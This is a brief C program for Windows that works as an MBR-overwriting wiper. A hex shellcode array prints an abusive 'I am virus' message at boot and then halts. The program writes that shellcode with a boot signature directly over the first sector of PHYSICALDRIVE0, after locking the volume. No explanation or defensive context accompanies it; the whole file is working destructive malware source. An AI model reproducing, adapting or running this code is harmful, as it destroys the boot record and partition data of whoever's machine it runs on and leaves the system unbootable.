#include <windows.h> #include <winioctl.h>
unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int main() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = { 0 };
memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA;
hDevice = CreateFile ( L"\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); return 0; }
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